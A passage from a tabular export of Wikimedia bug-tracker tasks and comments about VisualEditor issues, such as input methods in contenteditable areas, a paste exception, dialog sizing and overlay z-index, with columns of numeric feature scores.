If anyone is working on this and expects to be done before 2013-07-07, please let us know and we'll wait. Otherwise, I expect we will have development capacity to take this up and get it delivered by 2013-07-09.",,,1372351337,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0.5,1.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,4.5,0.0,3.0,10.5,1.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,3.5,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,3.0,1.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,2.5,7.5,1.0,4.0,4.5,0.0,0.0,0.0,0.0,7.5,1.0,6.0,0.0,5.5,10.5,3.0,0.0,0.0,0.0,5.5,0.0,0.5,1.0,1.0,2.0,1.0,0.5,0.0,3.984760522496371,0.8089622641509434,"Making this a bug instead of a feature, as we would expect the key mappings to work on any input field that is more or less supported for well supported and stable MediaWiki extensions, including VisualEditor.

Set to highest priority. Tracked on Wikimedia Language Engineering team as URL

If anyone is working on this and expects to be done before 2013-07-07, please let us know and we'll wait. Otherwise, I expect we will have development capacity to take this up and get it delivered by 2013-07-09."
236982,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 50293 has been marked as a duplicate of this bug. ***,,,1372351064,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50293 has been marked as a duplicate of this bug. ***
236975,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 49704 has been marked as a duplicate of this bug. ***,,,1371699225,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49704 has been marked as a duplicate of this bug. ***
236969,Make ULS input methods work in content editable divs of VisualEditor,CCing Moriel who's working for GSoC2013 on VisualEditor issues around i18n and in particular RTL; she may have some thoughts. :-),,,1371429357,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,True,,,-2,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,21.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.541666666666667,1.0,CCing Moriel who's working for GSoC2013 on VisualEditor issues around i18n and in particular RTL; she may have some thoughts. :-)
236965,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 49643 has been marked as a duplicate of this bug. ***,,,1371409196,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49643 has been marked as a duplicate of this bug. ***
236959,Make ULS input methods work in content editable divs of VisualEditor,This is part of a GSOC2013 project and tracked here https://github.com/wikimedia/jquery.ime/issues/136,,,1371204225,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,This is part of a GSOC2013 project and tracked here URL
51564,VisualEditor: Review behaviour in CE with <p><br /></p>s,"Need to review and get working so we can ask Parsoid to re-enable these (stop them being wrapped as <mw:Placeholder>s) - bug 47403 comment 3.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371181020,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-txjmg5opo7xccxwery5r,task_description,open,True,c1,2,True,False,,-3,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.547169811320755,0.7735849056603774,"Need to review and get working so we can ask Parsoid to re-enable these (stop them being wrapped as <mw:Placeholder>s) - bug 47403 comment 3.

--------------------------
**Version**: unspecified
**Severity**: minor"
51552,VisualEditor: UI loading should trigger events that other tools can listen for,"I'm thinking something like:

start loading VE
done loading VE UI
start rendering VE content
done rendering VE content
done loading VE

These would make it easier for other scripts to hook into what is going on. We could use it for instance to add the BLP/disambig editnotice to the actual edit notices on the english wikipedia. https://en.wikipedia.org/wiki/Wikipedia:Editnotice#Edit_intros

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371162780,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-mmsz5huxzdhmzpx6zlmd,task_description,open,True,c1,2,True,False,,-3,,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,2.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,10.0,11.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,4.068181818181818,0.6022727272727273,"I'm thinking something like:

start loading VE
done loading VE UI
start rendering VE content
done rendering VE content
done loading VE

These would make it easier for other scripts to hook into what is going on. We could use it for instance to add the BLP/disambig editnotice to the actual edit notices on the english wikipedia. URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235880,VisualEditor: UI loading should trigger events that other tools can listen for,"We should probably have a proper discussion about events and integration with external tools, rather than doing spike solutions; punting to Trevor to discuss (post-July).",,,1371163018,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmsz5huxzdhmzpx6zlmd,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,16.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,4.5625,0.96875,"We should probably have a proper discussion about events and integration with external tools, rather than doing spike solutions; punting to Trevor to discuss (post-July)."
51551,VisualEditor: Can't paste into a selection covering the end of the document,"1. Copy some plain text
2. Make a selection in the document up to the end of it (e.g. select all)
3. Paste
4. Exception time!

Problem is in ve.dm.Surface line 376:

rightAnnotations = dataModelData.getAnnotationsFromOffset( right );

with right = -1 (out of bounds)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371162120,1371233886.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-fruuvllzbsjlpilalc3q,task_description,resolved,True,c1,2,True,False,True,-3,,2.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,2.0,1.0,4.0,0.0,1.0,10.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.6707317073170733,0.6463414634146342,"1. Copy some plain text
2. Make a selection in the document up to the end of it (e.g. select all)
3. Paste
4. Exception time!

Problem is in ve.dm.Surface line 376:

rightAnnotations = dataModelData.getAnnotationsFromOffset( right );

with right = -1 (out of bounds)

--------------------------
**Version**: unspecified
**Severity**: normal"
470735,VisualEditor: Can't paste into a selection covering the end of the document,"Change 131717 had a related patch set uploaded (by Liangent):
LanguageConverter fix of empty and numeric strings

[[https://gerrit.wikimedia.org/r/131717]]
",,,1433773169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fruuvllzbsjlpilalc3q,task_subcomment,,True,c1,3,False,,,101,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.222222222222222,0.8888888888888888,"Change 131717 had a related patch set uploaded (by Liangent):
LanguageConverter fix of empty and numeric strings

[[GERRIT_URL]]
"
235841,VisualEditor: Can't paste into a selection covering the end of the document,Merged and will go out with wmf8 from Thursday 20 June.,,,1371233886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fruuvllzbsjlpilalc3q,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Merged and will go out with wmf8 from Thursday 20 June.
235836,VisualEditor: Can't paste into a selection covering the end of the document,Related URL: https://gerrit.wikimedia.org/r/68629 (Gerrit Change I7497b5195961e46718c7382409a66b7eec1162a9),,,1371207127,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fruuvllzbsjlpilalc3q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I7497b5195961e46718c7382409a66b7eec1162a9)
51549,"VisualEditor: Dialogs are quite big, maybe they could be smaller","It should allow the editor to see the page content while specifying a reference.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49969
https://bugzilla.wikimedia.org/show_bug.cgi?id=51755",Medium,50.0,1371158700,1399324736.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_description,resolved,True,c1,2,False,False,False,-3,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,16.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.5777777777777777,"It should allow the editor to see the page content while specifying a reference.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
235768,"VisualEditor: Dialogs are quite big, maybe they could be smaller",We changed the sizes of dialogs a few months ago.,,,1399324736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,3,True,,,44,,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,We changed the sizes of dialogs a few months ago.
235766,"VisualEditor: Dialogs are quite big, maybe they could be smaller","(In reply to comment #2)
> I think the user needs to be able to see the page text, but the current modal
> window takes too much space in the screen. If it wasn't modal, the user could
> at least drag it to the side to see the text.

Hmm... It seems a dialog can be modal while still being draggable:
http://jqueryui.com/dialog/#modal-confirmation",,,1372037113,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,23.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.193548387096774,0.8387096774193549,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Hmm... It seems a dialog can be modal while still being draggable:
URL"
235761,"VisualEditor: Dialogs are quite big, maybe they could be smaller","(In reply to comment #3)
> Compare this with WikiEditor's dialog (which can be moved on the screen, and
> do not forget what the user typed)

and is smaller...",,,1371167576,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.8823529411764706,0.8823529411764706,"(In reply to comment #3)
QUOTE
QUOTE

and is smaller..."
235755,"VisualEditor: Dialogs are quite big, maybe they could be smaller","Notice that if I type some text in the window and then close it for a moment, to take a look in the text, it forgets what I typed once I open the window again.

Compare this with WikiEditor's dialog (which can be moved on the screen, and do not forget what the user typed)",,,1371167012,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-3,,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,6.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,11.0,2.0,10.0,3.0,3.0,16.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,8.0,13.0,2.0,0.0,0.0,0.0,8.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4761904761904763,0.746031746031746,"Notice that if I type some text in the window and then close it for a moment, to take a look in the text, it forgets what I typed once I open the window again.

Compare this with WikiEditor's dialog (which can be moved on the screen, and do not forget what the user typed)"
235750,"VisualEditor: Dialogs are quite big, maybe they could be smaller","I think the user needs to be able to see the page text, but the current modal window takes too much space in the screen. If it wasn't modal, the user could at least drag it to the side to see the text.",,,1371166679,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-3,,2.0,0.0,0.0,0.0,2.0,12.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,15.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.3125,0.6666666666666666,"I think the user needs to be able to see the page text, but the current modal window takes too much space in the screen. If it wasn't modal, the user could at least drag it to the side to see the text."
235744,"VisualEditor: Dialogs are quite big, maybe they could be smaller","(In reply to comment #0)
> It should allow the editor to see the page content while specifying a
> reference.

I'm a bit confused by your title - are you saying that you expect modal items to take up less screen estate? All modal items in VE (dialogs) are the same, standard size.",,,1371160792,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,True,,,-3,,2.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,8.0,13.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.2884615384615383,0.8269230769230769,"(In reply to comment #0)
QUOTE
QUOTE

I'm a bit confused by your title - are you saying that you expect modal items to take up less screen estate? All modal items in VE (dialogs) are the same, standard size."
51514,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"Right now the z-index for .ve-ui-surface-overlay is set to 1000, which is way higher than pretty much anything else in MediaWiki. This makes it float above lots of things it shouldn't float above, like the header drop-down menu in the visual editor, the Echo notifications dropdown, etc. The z-index for the Echo notifications dropdown is 100 (so that it is higher than the close buttons in SiteNotices which are 99).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371107160,1416502788.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-dlisjakdxxdx6ulkcllp,task_description,resolved,True,c1,2,False,False,False,-3,,0.5,0.5,0.0,0.5,0.5,5.0,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,9.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,0.0,0.0,9.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,3.5,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,2.0,3.8636363636363633,0.7363636363636363,"Right now the z-index for .ve-ui-surface-overlay is set to 1000, which is way higher than pretty much anything else in MediaWiki. This makes it float above lots of things it shouldn't float above, like the header drop-down menu in the visual editor, the Echo notifications dropdown, etc. The z-index for the Echo notifications dropdown is 100 (so that it is higher than the close buttons in SiteNotices which are 99).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233699,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"(In reply to Alex Monk from comment #6)
> Wasn't this fixed by Gerrit change #70572?

Yes.",,,1416502788,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"(In reply to Alex Monk from comment #6)
QUOTE

Yes."
233692,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),Wasn't this fixed by Gerrit change 70572?,,,1416499941,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,Wasn't this fixed by Gerrit change 70572?
